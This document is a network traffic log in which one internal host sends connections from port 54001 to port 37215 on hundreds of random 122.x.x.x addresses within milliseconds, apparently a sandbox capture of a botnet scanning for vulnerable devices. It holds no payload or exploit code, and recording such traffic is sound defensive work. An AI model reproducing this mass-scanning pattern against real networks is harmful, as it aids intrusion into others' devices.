Feb 19, 2024 18:35:37.443667889 CET	54001	37215	192.168.2.23	122.223.179.60
Feb 19, 2024 18:35:37.443710089 CET	54001	37215	192.168.2.23	122.15.188.213
Feb 19, 2024 18:35:37.443710089 CET	54001	37215	192.168.2.23	122.1.40.17
Feb 19, 2024 18:35:37.443712950 CET	54001	37215	192.168.2.23	122.56.126.215
Feb 19, 2024 18:35:37.443747044 CET	54001	37215	192.168.2.23	122.203.146.10
Feb 19, 2024 18:35:37.443753004 CET	54001	37215	192.168.2.23	122.157.1.230
Feb 19, 2024 18:35:37.443759918 CET	54001	37215	192.168.2.23	122.64.25.205
Feb 19, 2024 18:35:37.443772078 CET	54001	37215	192.168.2.23	122.220.113.99
Feb 19, 2024 18:35:37.443772078 CET	54001	37215	192.168.2.23	122.243.171.203
Feb 19, 2024 18:35:37.443782091 CET	54001	37215	192.168.2.23	122.202.210.25
Feb 19, 2024 18:35:37.443783998 CET	54001	37215	192.168.2.23	122.218.227.230
Feb 19, 2024 18:35:37.443799973 CET	54001	37215	192.168.2.23	122.88.227.219
Feb 19, 2024 18:35:37.443803072 CET	54001	37215	192.168.2.23	122.27.220.58
Feb 19, 2024 18:35:37.443814993 CET	54001	37215	192.168.2.23	122.19.67.78
Feb 19, 2024 18:35:37.443814993 CET	54001	37215	192.168.2.23	122.210.57.139
Feb 19, 2024 18:35:37.443837881 CET	54001	37215	192.168.2.23	122.53.161.182
Feb 19, 2024 18:35:37.443854094 CET	54001	37215	192.168.2.23	122.47.193.116
Feb 19, 2024 18:35:37.443860054 CET	54001	37215	192.168.2.23	122.70.84.124
Feb 19, 2024 18:35:37.443880081 CET	54001	37215	192.168.2.23	122.111.171.82
Feb 19, 2024 18:35:37.443881035 CET	54001	37215	192.168.2.23	122.240.26.55
Feb 19, 2024 18:35:37.443906069 CET	54001	37215	192.168.2.23	122.2.177.123
Feb 19, 2024 18:35:37.443907022 CET	54001	37215	192.168.2.23	122.177.241.96
Feb 19, 2024 18:35:37.443911076 CET	54001	37215	192.168.2.23	122.203.49.52
Feb 19, 2024 18:35:37.443914890 CET	54001	37215	192.168.2.23	122.32.233.166
Feb 19, 2024 18:35:37.443929911 CET	54001	37215	192.168.2.23	122.147.172.185
Feb 19, 2024 18:35:37.443941116 CET	54001	37215	192.168.2.23	122.176.146.188
Feb 19, 2024 18:35:37.443980932 CET	54001	37215	192.168.2.23	122.230.244.217
Feb 19, 2024 18:35:37.443980932 CET	54001	37215	192.168.2.23	122.155.177.44
Feb 19, 2024 18:35:37.443980932 CET	54001	37215	192.168.2.23	122.105.112.165
Feb 19, 2024 18:35:37.443994999 CET	54001	37215	192.168.2.23	122.92.246.230
Feb 19, 2024 18:35:37.444000959 CET	54001	37215	192.168.2.23	122.204.111.127
Feb 19, 2024 18:35:37.444016933 CET	54001	37215	192.168.2.23	122.253.90.222
Feb 19, 2024 18:35:37.444040060 CET	54001	37215	192.168.2.23	122.241.149.209
Feb 19, 2024 18:35:37.444045067 CET	54001	37215	192.168.2.23	122.110.155.53
Feb 19, 2024 18:35:37.444047928 CET	54001	37215	192.168.2.23	122.213.137.131
Feb 19, 2024 18:35:37.444056034 CET	54001	37215	192.168.2.23	122.230.148.54
Feb 19, 2024 18:35:37.444056034 CET	54001	37215	192.168.2.23	122.81.27.207
Feb 19, 2024 18:35:37.444075108 CET	54001	37215	192.168.2.23	122.93.148.52
Feb 19, 2024 18:35:37.444076061 CET	54001	37215	192.168.2.23	122.237.192.84
Feb 19, 2024 18:35:37.444103003 CET	54001	37215	192.168.2.23	122.111.10.137
Feb 19, 2024 18:35:37.444112062 CET	54001	37215	192.168.2.23	122.221.158.33
Feb 19, 2024 18:35:37.444113970 CET	54001	37215	192.168.2.23	122.56.200.26
Feb 19, 2024 18:35:37.444133043 CET	54001	37215	192.168.2.23	122.170.243.73
Feb 19, 2024 18:35:37.444133997 CET	54001	37215	192.168.2.23	122.32.216.136
Feb 19, 2024 18:35:37.444148064 CET	54001	37215	192.168.2.23	122.130.26.89
Feb 19, 2024 18:35:37.444148064 CET	54001	37215	192.168.2.23	122.128.184.237
Feb 19, 2024 18:35:37.444160938 CET	54001	37215	192.168.2.23	122.116.78.83
Feb 19, 2024 18:35:37.444173098 CET	54001	37215	192.168.2.23	122.118.188.186
Feb 19, 2024 18:35:37.444191933 CET	54001	37215	192.168.2.23	122.166.173.195
Feb 19, 2024 18:35:37.444199085 CET	54001	37215	192.168.2.23	122.112.75.110
Feb 19, 2024 18:35:37.444216013 CET	54001	37215	192.168.2.23	122.212.97.57
Feb 19, 2024 18:35:37.444225073 CET	54001	37215	192.168.2.23	122.145.98.243
Feb 19, 2024 18:35:37.444242954 CET	54001	37215	192.168.2.23	122.147.236.246
Feb 19, 2024 18:35:37.444251060 CET	54001	37215	192.168.2.23	122.193.17.145
Feb 19, 2024 18:35:37.444258928 CET	54001	37215	192.168.2.23	122.148.50.22
Feb 19, 2024 18:35:37.444268942 CET	54001	37215	192.168.2.23	122.224.143.25
Feb 19, 2024 18:35:37.444268942 CET	54001	37215	192.168.2.23	122.217.14.191
Feb 19, 2024 18:35:37.444283962 CET	54001	37215	192.168.2.23	122.158.197.159
Feb 19, 2024 18:35:37.444298983 CET	54001	37215	192.168.2.23	122.51.12.171
Feb 19, 2024 18:35:37.444319963 CET	54001	37215	192.168.2.23	122.57.85.15
Feb 19, 2024 18:35:37.444344044 CET	54001	37215	192.168.2.23	122.70.119.134
Feb 19, 2024 18:35:37.444345951 CET	54001	37215	192.168.2.23	122.206.225.138
Feb 19, 2024 18:35:37.444348097 CET	54001	37215	192.168.2.23	122.119.60.146
Feb 19, 2024 18:35:37.444385052 CET	54001	37215	192.168.2.23	122.138.122.225
Feb 19, 2024 18:35:37.444407940 CET	54001	37215	192.168.2.23	122.205.23.39
Feb 19, 2024 18:35:37.444415092 CET	54001	37215	192.168.2.23	122.227.220.195
Feb 19, 2024 18:35:37.444416046 CET	54001	37215	192.168.2.23	122.101.154.108
Feb 19, 2024 18:35:37.444417000 CET	54001	37215	192.168.2.23	122.153.165.24
Feb 19, 2024 18:35:37.444447994 CET	54001	37215	192.168.2.23	122.52.93.103
Feb 19, 2024 18:35:37.444447994 CET	54001	37215	192.168.2.23	122.185.66.73
Feb 19, 2024 18:35:37.444451094 CET	54001	37215	192.168.2.23	122.20.151.137
Feb 19, 2024 18:35:37.444466114 CET	54001	37215	192.168.2.23	122.175.113.74
Feb 19, 2024 18:35:37.444466114 CET	54001	37215	192.168.2.23	122.126.35.129
Feb 19, 2024 18:35:37.444466114 CET	54001	37215	192.168.2.23	122.61.92.120
Feb 19, 2024 18:35:37.444498062 CET	54001	37215	192.168.2.23	122.17.108.184
Feb 19, 2024 18:35:37.444498062 CET	54001	37215	192.168.2.23	122.170.59.149
Feb 19, 2024 18:35:37.444503069 CET	54001	37215	192.168.2.23	122.80.205.37
Feb 19, 2024 18:35:37.444521904 CET	54001	37215	192.168.2.23	122.184.6.253
Feb 19, 2024 18:35:37.444526911 CET	54001	37215	192.168.2.23	122.103.144.232
Feb 19, 2024 18:35:37.444526911 CET	54001	37215	192.168.2.23	122.50.222.157
Feb 19, 2024 18:35:37.444551945 CET	54001	37215	192.168.2.23	122.90.224.160
Feb 19, 2024 18:35:37.444559097 CET	54001	37215	192.168.2.23	122.239.219.220
Feb 19, 2024 18:35:37.444565058 CET	54001	37215	192.168.2.23	122.209.244.4
Feb 19, 2024 18:35:37.444576025 CET	54001	37215	192.168.2.23	122.210.196.89
Feb 19, 2024 18:35:37.444597960 CET	54001	37215	192.168.2.23	122.177.207.125
Feb 19, 2024 18:35:37.444606066 CET	54001	37215	192.168.2.23	122.18.176.7
Feb 19, 2024 18:35:37.444607973 CET	54001	37215	192.168.2.23	122.64.5.122
Feb 19, 2024 18:35:37.444629908 CET	54001	37215	192.168.2.23	122.233.76.50
Feb 19, 2024 18:35:37.444638014 CET	54001	37215	192.168.2.23	122.219.97.240
Feb 19, 2024 18:35:37.444644928 CET	54001	37215	192.168.2.23	122.84.222.253
Feb 19, 2024 18:35:37.444658995 CET	54001	37215	192.168.2.23	122.107.146.112
Feb 19, 2024 18:35:37.444678068 CET	54001	37215	192.168.2.23	122.75.137.39
Feb 19, 2024 18:35:37.444679976 CET	54001	37215	192.168.2.23	122.104.83.183
Feb 19, 2024 18:35:37.444689989 CET	54001	37215	192.168.2.23	122.237.212.226
Feb 19, 2024 18:35:37.444705963 CET	54001	37215	192.168.2.23	122.67.220.93
Feb 19, 2024 18:35:37.444715977 CET	54001	37215	192.168.2.23	122.71.182.9
Feb 19, 2024 18:35:37.444734097 CET	54001	37215	192.168.2.23	122.142.161.181
Feb 19, 2024 18:35:37.444741964 CET	54001	37215	192.168.2.23	122.180.127.138
Feb 19, 2024 18:35:37.444742918 CET	54001	37215	192.168.2.23	122.36.235.212
Feb 19, 2024 18:35:37.444760084 CET	54001	37215	192.168.2.23	122.133.114.51
Feb 19, 2024 18:35:37.444762945 CET	54001	37215	192.168.2.23	122.135.55.3
Feb 19, 2024 18:35:37.444778919 CET	54001	37215	192.168.2.23	122.68.71.11
Feb 19, 2024 18:35:37.444792032 CET	54001	37215	192.168.2.23	122.45.252.178
Feb 19, 2024 18:35:37.444801092 CET	54001	37215	192.168.2.23	122.38.7.149
Feb 19, 2024 18:35:37.444809914 CET	54001	37215	192.168.2.23	122.200.154.208
Feb 19, 2024 18:35:37.444812059 CET	54001	37215	192.168.2.23	122.68.114.118
Feb 19, 2024 18:35:37.444824934 CET	54001	37215	192.168.2.23	122.116.17.49
Feb 19, 2024 18:35:37.444844961 CET	54001	37215	192.168.2.23	122.107.237.82
Feb 19, 2024 18:35:37.444859028 CET	54001	37215	192.168.2.23	122.68.208.226
Feb 19, 2024 18:35:37.444886923 CET	54001	37215	192.168.2.23	122.42.42.116
Feb 19, 2024 18:35:37.444889069 CET	54001	37215	192.168.2.23	122.86.145.49
Feb 19, 2024 18:35:37.444890976 CET	54001	37215	192.168.2.23	122.138.118.191
Feb 19, 2024 18:35:37.444900036 CET	54001	37215	192.168.2.23	122.31.255.12
Feb 19, 2024 18:35:37.444916964 CET	54001	37215	192.168.2.23	122.34.3.153
Feb 19, 2024 18:35:37.444928885 CET	54001	37215	192.168.2.23	122.11.223.79
Feb 19, 2024 18:35:37.444941998 CET	54001	37215	192.168.2.23	122.121.45.15
Feb 19, 2024 18:35:37.444962025 CET	54001	37215	192.168.2.23	122.30.124.248
Feb 19, 2024 18:35:37.444962025 CET	54001	37215	192.168.2.23	122.29.66.165
Feb 19, 2024 18:35:37.444977999 CET	54001	37215	192.168.2.23	122.18.14.161
Feb 19, 2024 18:35:37.444983959 CET	54001	37215	192.168.2.23	122.229.255.145
Feb 19, 2024 18:35:37.444988966 CET	54001	37215	192.168.2.23	122.133.48.237
Feb 19, 2024 18:35:37.445012093 CET	54001	37215	192.168.2.23	122.195.69.26
Feb 19, 2024 18:35:37.445019960 CET	54001	37215	192.168.2.23	122.68.14.142
Feb 19, 2024 18:35:37.445044041 CET	54001	37215	192.168.2.23	122.19.133.67
Feb 19, 2024 18:35:37.445044041 CET	54001	37215	192.168.2.23	122.232.202.120
Feb 19, 2024 18:35:37.445044041 CET	54001	37215	192.168.2.23	122.124.154.30
Feb 19, 2024 18:35:37.445064068 CET	54001	37215	192.168.2.23	122.23.113.84
Feb 19, 2024 18:35:37.445070028 CET	54001	37215	192.168.2.23	122.43.153.178
Feb 19, 2024 18:35:37.445082903 CET	54001	37215	192.168.2.23	122.14.212.188
Feb 19, 2024 18:35:37.445085049 CET	54001	37215	192.168.2.23	122.176.251.172
Feb 19, 2024 18:35:37.445085049 CET	54001	37215	192.168.2.23	122.25.90.229
Feb 19, 2024 18:35:37.445099115 CET	54001	37215	192.168.2.23	122.52.45.152
Feb 19, 2024 18:35:37.445122004 CET	54001	37215	192.168.2.23	122.55.180.16
Feb 19, 2024 18:35:37.445130110 CET	54001	37215	192.168.2.23	122.23.129.218
Feb 19, 2024 18:35:37.445139885 CET	54001	37215	192.168.2.23	122.148.18.202
Feb 19, 2024 18:35:37.445139885 CET	54001	37215	192.168.2.23	122.219.24.243
Feb 19, 2024 18:35:37.445161104 CET	54001	37215	192.168.2.23	122.222.223.149
Feb 19, 2024 18:35:37.445177078 CET	54001	37215	192.168.2.23	122.150.2.16
Feb 19, 2024 18:35:37.445178032 CET	54001	37215	192.168.2.23	122.43.174.36
Feb 19, 2024 18:35:37.445178032 CET	54001	37215	192.168.2.23	122.51.37.146
Feb 19, 2024 18:35:37.445195913 CET	54001	37215	192.168.2.23	122.233.216.242
Feb 19, 2024 18:35:37.445207119 CET	54001	37215	192.168.2.23	122.68.94.154
Feb 19, 2024 18:35:37.445221901 CET	54001	37215	192.168.2.23	122.238.15.19
Feb 19, 2024 18:35:37.445238113 CET	54001	37215	192.168.2.23	122.32.132.147
Feb 19, 2024 18:35:37.445255041 CET	54001	37215	192.168.2.23	122.102.103.138
Feb 19, 2024 18:35:37.445257902 CET	54001	37215	192.168.2.23	122.94.52.71
Feb 19, 2024 18:35:37.445261955 CET	54001	37215	192.168.2.23	122.247.86.133
Feb 19, 2024 18:35:37.445271969 CET	54001	37215	192.168.2.23	122.111.147.118
Feb 19, 2024 18:35:37.445277929 CET	54001	37215	192.168.2.23	122.153.123.77
Feb 19, 2024 18:35:37.445293903 CET	54001	37215	192.168.2.23	122.33.99.33
Feb 19, 2024 18:35:37.445297003 CET	54001	37215	192.168.2.23	122.35.178.182
Feb 19, 2024 18:35:37.445312023 CET	54001	37215	192.168.2.23	122.16.196.239
Feb 19, 2024 18:35:37.445322037 CET	54001	37215	192.168.2.23	122.111.130.117
Feb 19, 2024 18:35:37.445339918 CET	54001	37215	192.168.2.23	122.183.69.58
Feb 19, 2024 18:35:37.445359945 CET	54001	37215	192.168.2.23	122.36.30.170
Feb 19, 2024 18:35:37.445379019 CET	54001	37215	192.168.2.23	122.77.40.174
Feb 19, 2024 18:35:37.445384026 CET	54001	37215	192.168.2.23	122.134.163.60
Feb 19, 2024 18:35:37.445384979 CET	54001	37215	192.168.2.23	122.47.79.195
Feb 19, 2024 18:35:37.445400953 CET	54001	37215	192.168.2.23	122.93.7.255
Feb 19, 2024 18:35:37.445415020 CET	54001	37215	192.168.2.23	122.44.151.96
Feb 19, 2024 18:35:37.445421934 CET	54001	37215	192.168.2.23	122.112.67.87
Feb 19, 2024 18:35:37.445422888 CET	54001	37215	192.168.2.23	122.4.127.80
Feb 19, 2024 18:35:37.445426941 CET	54001	37215	192.168.2.23	122.244.76.129
Feb 19, 2024 18:35:37.445435047 CET	54001	37215	192.168.2.23	122.239.50.201
Feb 19, 2024 18:35:37.445453882 CET	54001	37215	192.168.2.23	122.121.63.79
Feb 19, 2024 18:35:37.445461988 CET	54001	37215	192.168.2.23	122.100.45.196
Feb 19, 2024 18:35:37.445487976 CET	54001	37215	192.168.2.23	122.3.55.194
Feb 19, 2024 18:35:37.445487976 CET	54001	37215	192.168.2.23	122.84.25.158
Feb 19, 2024 18:35:37.445504904 CET	54001	37215	192.168.2.23	122.101.249.245
Feb 19, 2024 18:35:37.445514917 CET	54001	37215	192.168.2.23	122.103.93.121
Feb 19, 2024 18:35:37.445516109 CET	54001	37215	192.168.2.23	122.5.38.197
Feb 19, 2024 18:35:37.445540905 CET	54001	37215	192.168.2.23	122.61.162.203
Feb 19, 2024 18:35:37.445542097 CET	54001	37215	192.168.2.23	122.117.123.225
Feb 19, 2024 18:35:37.445568085 CET	54001	37215	192.168.2.23	122.154.50.164
Feb 19, 2024 18:35:37.445579052 CET	54001	37215	192.168.2.23	122.191.21.148
Feb 19, 2024 18:35:37.445580006 CET	54001	37215	192.168.2.23	122.195.113.209
Feb 19, 2024 18:35:37.445595026 CET	54001	37215	192.168.2.23	122.75.193.63
Feb 19, 2024 18:35:37.445597887 CET	54001	37215	192.168.2.23	122.26.49.24
Feb 19, 2024 18:35:37.445602894 CET	54001	37215	192.168.2.23	122.98.2.142
Feb 19, 2024 18:35:37.445602894 CET	54001	37215	192.168.2.23	122.150.162.227
Feb 19, 2024 18:35:37.445625067 CET	54001	37215	192.168.2.23	122.229.8.47
Feb 19, 2024 18:35:37.445641994 CET	54001	37215	192.168.2.23	122.157.63.194
Feb 19, 2024 18:35:37.445663929 CET	54001	37215	192.168.2.23	122.133.32.30
Feb 19, 2024 18:35:37.445664883 CET	54001	37215	192.168.2.23	122.151.8.145
Feb 19, 2024 18:35:37.445676088 CET	54001	37215	192.168.2.23	122.15.65.204
Feb 19, 2024 18:35:37.445676088 CET	54001	37215	192.168.2.23	122.227.195.17
Feb 19, 2024 18:35:37.445679903 CET	54001	37215	192.168.2.23	122.219.168.146
Feb 19, 2024 18:35:37.445689917 CET	54001	37215	192.168.2.23	122.187.31.33
Feb 19, 2024 18:35:37.445703983 CET	54001	37215	192.168.2.23	122.118.39.147
Feb 19, 2024 18:35:37.445703983 CET	54001	37215	192.168.2.23	122.125.34.177
Feb 19, 2024 18:35:37.445724010 CET	54001	37215	192.168.2.23	122.25.238.105
Feb 19, 2024 18:35:37.445738077 CET	54001	37215	192.168.2.23	122.24.186.121
Feb 19, 2024 18:35:37.445738077 CET	54001	37215	192.168.2.23	122.118.24.37
Feb 19, 2024 18:35:37.445749044 CET	54001	37215	192.168.2.23	122.203.183.234
Feb 19, 2024 18:35:37.445770025 CET	54001	37215	192.168.2.23	122.141.222.19
Feb 19, 2024 18:35:37.445772886 CET	54001	37215	192.168.2.23	122.255.172.21
Feb 19, 2024 18:35:37.445791960 CET	54001	37215	192.168.2.23	122.160.87.34
Feb 19, 2024 18:35:37.445794106 CET	54001	37215	192.168.2.23	122.113.0.189
Feb 19, 2024 18:35:37.445822954 CET	54001	37215	192.168.2.23	122.79.166.73
Feb 19, 2024 18:35:37.445822954 CET	54001	37215	192.168.2.23	122.167.3.32
Feb 19, 2024 18:35:37.445837021 CET	54001	37215	192.168.2.23	122.93.96.206
Feb 19, 2024 18:35:37.445847988 CET	54001	37215	192.168.2.23	122.111.3.144
Feb 19, 2024 18:35:37.445878029 CET	54001	37215	192.168.2.23	122.140.206.24
Feb 19, 2024 18:35:37.445878029 CET	54001	37215	192.168.2.23	122.88.201.42
Feb 19, 2024 18:35:37.445893049 CET	54001	37215	192.168.2.23	122.196.217.217
Feb 19, 2024 18:35:37.445907116 CET	54001	37215	192.168.2.23	122.100.0.17
Feb 19, 2024 18:35:37.445909023 CET	54001	37215	192.168.2.23	122.116.160.221
Feb 19, 2024 18:35:37.445928097 CET	54001	37215	192.168.2.23	122.74.74.152
Feb 19, 2024 18:35:37.445935011 CET	54001	37215	192.168.2.23	122.97.254.151
Feb 19, 2024 18:35:37.445940971 CET	54001	37215	192.168.2.23	122.243.44.218
Feb 19, 2024 18:35:37.445964098 CET	54001	37215	192.168.2.23	122.141.250.226
Feb 19, 2024 18:35:37.445964098 CET	54001	37215	192.168.2.23	122.31.221.46
Feb 19, 2024 18:35:37.445964098 CET	54001	37215	192.168.2.23	122.97.239.64
Feb 19, 2024 18:35:37.445981979 CET	54001	37215	192.168.2.23	122.217.125.177
Feb 19, 2024 18:35:37.446042061 CET	54001	37215	192.168.2.23	122.43.143.104
Feb 19, 2024 18:35:37.446058035 CET	54001	37215	192.168.2.23	122.85.238.78
Feb 19, 2024 18:35:37.446058989 CET	54001	37215	192.168.2.23	122.180.85.139
Feb 19, 2024 18:35:37.446058989 CET	54001	37215	192.168.2.23	122.65.130.211
Feb 19, 2024 18:35:37.446080923 CET	54001	37215	192.168.2.23	122.67.138.231
Feb 19, 2024 18:35:37.446096897 CET	54001	37215	192.168.2.23	122.123.73.252
Feb 19, 2024 18:35:37.446096897 CET	54001	37215	192.168.2.23	122.224.70.16
Feb 19, 2024 18:35:37.446096897 CET	54001	37215	192.168.2.23	122.226.46.184
Feb 19, 2024 18:35:37.446118116 CET	54001	37215	192.168.2.23	122.75.188.17
Feb 19, 2024 18:35:37.446136951 CET	54001	37215	192.168.2.23	122.20.93.132
Feb 19, 2024 18:35:37.446144104 CET	54001	37215	192.168.2.23	122.45.23.148
Feb 19, 2024 18:35:37.446151018 CET	54001	37215	192.168.2.23	122.228.69.128
Feb 19, 2024 18:35:37.446151018 CET	54001	37215	192.168.2.23	122.228.158.95
Feb 19, 2024 18:35:37.446151018 CET	54001	37215	192.168.2.23	122.237.213.146
Feb 19, 2024 18:35:37.446163893 CET	54001	37215	192.168.2.23	122.124.209.202
Feb 19, 2024 18:35:37.446165085 CET	54001	37215	192.168.2.23	122.201.69.158
Feb 19, 2024 18:35:37.446181059 CET	54001	37215	192.168.2.23	122.211.214.227
Feb 19, 2024 18:35:37.446182966 CET	54001	37215	192.168.2.23	122.78.158.59
Feb 19, 2024 18:35:37.446204901 CET	54001	37215	192.168.2.23	122.230.34.70
Feb 19, 2024 18:35:37.446218967 CET	54001	37215	192.168.2.23	122.98.2.177
Feb 19, 2024 18:35:37.446250916 CET	54001	37215	192.168.2.23	122.246.185.236
Feb 19, 2024 18:35:37.446264982 CET	54001	37215	192.168.2.23	122.16.202.155
Feb 19, 2024 18:35:37.446264982 CET	54001	37215	192.168.2.23	122.212.146.231
Feb 19, 2024 18:35:37.446270943 CET	54001	37215	192.168.2.23	122.124.84.212
Feb 19, 2024 18:35:37.446290016 CET	54001	37215	192.168.2.23	122.237.104.32
Feb 19, 2024 18:35:37.446290970 CET	54001	37215	192.168.2.23	122.241.62.67
Feb 19, 2024 18:35:37.446310043 CET	54001	37215	192.168.2.23	122.141.244.16
Feb 19, 2024 18:35:37.446319103 CET	54001	37215	192.168.2.23	122.225.180.56
Feb 19, 2024 18:35:37.446319103 CET	54001	37215	192.168.2.23	122.144.237.8
Feb 19, 2024 18:35:37.446333885 CET	54001	37215	192.168.2.23	122.228.41.105
Feb 19, 2024 18:35:37.446337938 CET	54001	37215	192.168.2.23	122.137.142.37
Feb 19, 2024 18:35:37.446346998 CET	54001	37215	192.168.2.23	122.150.72.144
Feb 19, 2024 18:35:37.446351051 CET	54001	37215	192.168.2.23	122.95.73.71
Feb 19, 2024 18:35:37.446369886 CET	54001	37215	192.168.2.23	122.19.38.14
Feb 19, 2024 18:35:37.446379900 CET	54001	37215	192.168.2.23	122.42.176.224
Feb 19, 2024 18:35:37.446384907 CET	54001	37215	192.168.2.23	122.107.69.72
Feb 19, 2024 18:35:37.446400881 CET	54001	37215	192.168.2.23	122.97.140.153
Feb 19, 2024 18:35:37.446414948 CET	54001	37215	192.168.2.23	122.28.169.177
Feb 19, 2024 18:35:37.446417093 CET	54001	37215	192.168.2.23	122.139.110.254
Feb 19, 2024 18:35:37.446444035 CET	54001	37215	192.168.2.23	122.121.97.106
Feb 19, 2024 18:35:37.446455956 CET	54001	37215	192.168.2.23	122.162.132.105
Feb 19, 2024 18:35:37.446480989 CET	54001	37215	192.168.2.23	122.222.125.124
Feb 19, 2024 18:35:37.446480989 CET	54001	37215	192.168.2.23	122.3.13.37
Feb 19, 2024 18:35:37.446480989 CET	54001	37215	192.168.2.23	122.75.236.117
Feb 19, 2024 18:35:37.446507931 CET	54001	37215	192.168.2.23	122.125.163.134
Feb 19, 2024 18:35:37.446510077 CET	54001	37215	192.168.2.23	122.25.190.21
Feb 19, 2024 18:35:37.446515083 CET	54001	37215	192.168.2.23	122.83.154.54
Feb 19, 2024 18:35:37.446523905 CET	54001	37215	192.168.2.23	122.17.154.19
Feb 19, 2024 18:35:37.446531057 CET	54001	37215	192.168.2.23	122.217.57.121
Feb 19, 2024 18:35:37.446561098 CET	54001	37215	192.168.2.23	122.39.235.200
Feb 19, 2024 18:35:37.446562052 CET	54001	37215	192.168.2.23	122.156.35.23
Feb 19, 2024 18:35:37.446582079 CET	54001	37215	192.168.2.23	122.142.91.86
Feb 19, 2024 18:35:37.446585894 CET	54001	37215	192.168.2.23	122.92.197.207
Feb 19, 2024 18:35:37.446592093 CET	54001	37215	192.168.2.23	122.60.141.112
Feb 19, 2024 18:35:37.446600914 CET	54001	37215	192.168.2.23	122.27.248.4
Feb 19, 2024 18:35:37.446605921 CET	54001	37215	192.168.2.23	122.230.3.137
Feb 19, 2024 18:35:37.446623087 CET	54001	37215	192.168.2.23	122.187.110.164
Feb 19, 2024 18:35:37.446638107 CET	54001	37215	192.168.2.23	122.239.35.68
Feb 19, 2024 18:35:37.446644068 CET	54001	37215	192.168.2.23	122.202.227.199
Feb 19, 2024 18:35:37.446655035 CET	54001	37215	192.168.2.23	122.97.186.17
Feb 19, 2024 18:35:37.446656942 CET	54001	37215	192.168.2.23	122.7.15.211
Feb 19, 2024 18:35:37.446669102 CET	54001	37215	192.168.2.23	122.159.124.150
Feb 19, 2024 18:35:37.446682930 CET	54001	37215	192.168.2.23	122.102.24.7
Feb 19, 2024 18:35:37.446696043 CET	54001	37215	192.168.2.23	122.17.227.84
Feb 19, 2024 18:35:37.446710110 CET	54001	37215	192.168.2.23	122.251.151.224
Feb 19, 2024 18:35:37.446710110 CET	54001	37215	192.168.2.23	122.11.217.56
Feb 19, 2024 18:35:37.446723938 CET	54001	37215	192.168.2.23	122.236.18.105
Feb 19, 2024 18:35:37.446742058 CET	54001	37215	192.168.2.23	122.227.254.24
Feb 19, 2024 18:35:37.446743965 CET	54001	37215	192.168.2.23	122.201.58.71
Feb 19, 2024 18:35:37.446762085 CET	54001	37215	192.168.2.23	122.183.144.153
Feb 19, 2024 18:35:37.446768999 CET	54001	37215	192.168.2.23	122.14.136.32
Feb 19, 2024 18:35:37.446791887 CET	54001	37215	192.168.2.23	122.207.191.26
Feb 19, 2024 18:35:37.446796894 CET	54001	37215	192.168.2.23	122.226.63.167
Feb 19, 2024 18:35:37.446814060 CET	54001	37215	192.168.2.23	122.135.245.188
Feb 19, 2024 18:35:37.446814060 CET	54001	37215	192.168.2.23	122.101.192.10
Feb 19, 2024 18:35:37.446837902 CET	54001	37215	192.168.2.23	122.214.154.252
Feb 19, 2024 18:35:37.446849108 CET	54001	37215	192.168.2.23	122.240.45.62
Feb 19, 2024 18:35:37.446850061 CET	54001	37215	192.168.2.23	122.158.114.250
Feb 19, 2024 18:35:37.446861982 CET	54001	37215	192.168.2.23	122.123.10.198
Feb 19, 2024 18:35:37.446877003 CET	54001	37215	192.168.2.23	122.216.38.92
Feb 19, 2024 18:35:37.446877956 CET	54001	37215	192.168.2.23	122.96.209.232
Feb 19, 2024 18:35:37.446887970 CET	54001	37215	192.168.2.23	122.155.166.86
Feb 19, 2024 18:35:37.446907043 CET	54001	37215	192.168.2.23	122.93.11.237
Feb 19, 2024 18:35:37.446923018 CET	54001	37215	192.168.2.23	122.104.7.24
Feb 19, 2024 18:35:37.446939945 CET	54001	37215	192.168.2.23	122.251.11.159
Feb 19, 2024 18:35:37.446942091 CET	54001	37215	192.168.2.23	122.198.80.172
Feb 19, 2024 18:35:37.446964025 CET	54001	37215	192.168.2.23	122.107.12.14
Feb 19, 2024 18:35:37.446964025 CET	54001	37215	192.168.2.23	122.147.94.47
Feb 19, 2024 18:35:37.446980000 CET	54001	37215	192.168.2.23	122.228.241.27
Feb 19, 2024 18:35:37.446980953 CET	54001	37215	192.168.2.23	122.252.221.116
Feb 19, 2024 18:35:37.446989059 CET	54001	37215	192.168.2.23	122.7.27.27
Feb 19, 2024 18:35:37.447015047 CET	54001	37215	192.168.2.23	122.193.36.170
Feb 19, 2024 18:35:37.447025061 CET	54001	37215	192.168.2.23	122.140.213.53
Feb 19, 2024 18:35:37.447037935 CET	54001	37215	192.168.2.23	122.78.100.174
Feb 19, 2024 18:35:37.447047949 CET	54001	37215	192.168.2.23	122.247.126.253
Feb 19, 2024 18:35:37.447060108 CET	54001	37215	192.168.2.23	122.122.131.162
Feb 19, 2024 18:35:37.447066069 CET	54001	37215	192.168.2.23	122.199.247.8
Feb 19, 2024 18:35:37.447078943 CET	54001	37215	192.168.2.23	122.229.84.247
Feb 19, 2024 18:35:37.447087049 CET	54001	37215	192.168.2.23	122.62.190.172
Feb 19, 2024 18:35:37.447101116 CET	54001	37215	192.168.2.23	122.135.185.77
Feb 19, 2024 18:35:37.447128057 CET	54001	37215	192.168.2.23	122.81.34.55
Feb 19, 2024 18:35:37.447128057 CET	54001	37215	192.168.2.23	122.181.40.45
Feb 19, 2024 18:35:37.447139025 CET	54001	37215	192.168.2.23	122.233.86.238
Feb 19, 2024 18:35:37.447151899 CET	54001	37215	192.168.2.23	122.91.79.91
Feb 19, 2024 18:35:37.447174072 CET	54001	37215	192.168.2.23	122.118.11.0
Feb 19, 2024 18:35:37.447187901 CET	54001	37215	192.168.2.23	122.23.84.4
Feb 19, 2024 18:35:37.447206020 CET	54001	37215	192.168.2.23	122.112.181.207
Feb 19, 2024 18:35:37.447207928 CET	54001	37215	192.168.2.23	122.89.19.118
Feb 19, 2024 18:35:37.447223902 CET	54001	37215	192.168.2.23	122.125.14.167
Feb 19, 2024 18:35:37.447227001 CET	54001	37215	192.168.2.23	122.0.214.100
Feb 19, 2024 18:35:37.447242975 CET	54001	37215	192.168.2.23	122.55.40.6
Feb 19, 2024 18:35:37.447252989 CET	54001	37215	192.168.2.23	122.62.124.217
Feb 19, 2024 18:35:37.447263002 CET	54001	37215	192.168.2.23	122.127.71.146
Feb 19, 2024 18:35:37.447283983 CET	54001	37215	192.168.2.23	122.230.187.152
Feb 19, 2024 18:35:37.447284937 CET	54001	37215	192.168.2.23	122.103.122.71
Feb 19, 2024 18:35:37.447304964 CET	54001	37215	192.168.2.23	122.180.199.47
Feb 19, 2024 18:35:37.447310925 CET	54001	37215	192.168.2.23	122.0.252.61
Feb 19, 2024 18:35:37.447325945 CET	54001	37215	192.168.2.23	122.195.54.22
Feb 19, 2024 18:35:37.447340965 CET	54001	37215	192.168.2.23	122.133.151.67
